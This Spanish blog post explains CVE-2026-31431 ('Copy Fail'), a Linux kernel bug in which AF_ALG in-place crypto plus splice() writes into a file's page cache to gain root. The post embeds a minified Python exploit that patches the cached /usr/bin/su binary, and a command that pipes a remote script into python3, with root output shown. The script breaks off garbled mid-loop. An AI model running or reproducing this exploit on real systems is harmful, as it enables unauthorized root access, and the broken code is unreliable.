Durante años hemos asumido algo casi dogmático en Linux: lo que ejecuta el kernel desde disco es fiable, porque el page cache es coherente. Pero una nueva vulnerabilidad CVE-2026-31431 bautizada como "Copy Fail" rompe exactamente esa suposición. Y lo hace sin carreras, sin magia de timing, sin side channels. Solo lógica defectuosa.
El vector está en AF_ALG que es una interfaz que te da Linux si quieres usar criptografía del kernel desde un programa sin privilegios. Permite a un proceso sin privilegios:
- abrir un socket
- seleccionar un algoritmo (por ejemplo AEAD)
- pasar datos
- dejar que el kernel cifre/descifre
Internamente, el kernel no trabaja con buffers planos, sino con scatterlists: listas de páginas de memoria que pueden apuntar a sitios muy distintos:
- memoria de usuario
- buffers internos
- page cache de ficheros
Ese detalle parece irrelevante… hasta que deja de serlo.
La optimización que introduce el bug
En 2017 se introduce una mejora en algif_aead: permitir operaciones in-place. Es decir, leer y escribir sobre el mismo buffer para evitar copias innecesarias. Una optimización razonable, bastante común en crypto, pero que introduce una suposición silenciosa: que el origen y el destino pertenecen al mismo “dominio de memoria”. Y eso, en este contexto, no siempre es verdad.
La pieza que realmente explica el bug es el uso de splice().
Esta función permite mover datos entre pipes, sockets y ficheros, sin copiar realmente los datos. Y aquí ocurre algo importante: puedes hacer que un flujo de datos termine apuntando directamente a page cache de un fichero, ahora que en la misma operación del kernel conviven memoria controlada por el usuario, estructuras internas y páginas cacheadas de binarios reales. Todo dentro del mismo pipeline.
En algún punto del flujo el kernel recibe los buffers (vía AF_ALG), construye scatterlists, detecta que puede aplicar la optimización in-place y decide reutilizar buffers. Y aquí ocurre el fallo: el kernel deja de verificar correctamente qué tipo de memoria es realmente el destino. Es decir, el kernel cree que está operando sobre el mismo buffer y es seguro reutilizarlo cuando realmente está copiando datos desde memoria de usuario hacia una página que pertenece al page cache de un fichero.
¿Y qué pasa si puedes escribir en la page cache de un fichero? Pues que no modificas el archivo en disco pero cuando el sistema ejecuta ese binario… ejecuta la versión modificada en memoria };-)
La PoCs ya están y son sencillas
Los exploits públicos —como el de Theori— aprovechan exactamente eso:
- preparan el flujo con AF_ALG + splice
- fuerzan la operación vulnerable
- consiguen una escritura controlada (pequeña, ~4 bytes)
- modifican instrucciones en un binario SUID
- lo ejecutan
Y obtienen root. Sin carreras. Sin timing. Sin necesidad de condiciones especiales.
Y, ¿por qué funcionan con tan pocos bytes? Porque la primitiva no es un “write-anything-anywhere” completo. Es más elegante: escritura pequeña pero en un lugar extremadamente sensible.
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while icurl https://copy.fail/exp | python3 && su
id
uid=0(root) gid=1002(user) groups=1002(user)
En conclusión, Copy Fail rompe una suposición crítica: el page cache refleja fielmente el contenido del disco. Puedes tener integridad en disco, firmas válidas y checksums correctos, y aun así ejecutar código que nunca ha existido en el filesystem.
El fix (y lo que realmente significa)
El parche hace algo aparentemente simple: elimina el modo in-place, fuerza copias explícitas y simplifica el flujo de buffers. Porque como habéis visto la optimización rompía invariantes fundamentales del kernel...
Fuentes:

Comentarios
Publicar un comentario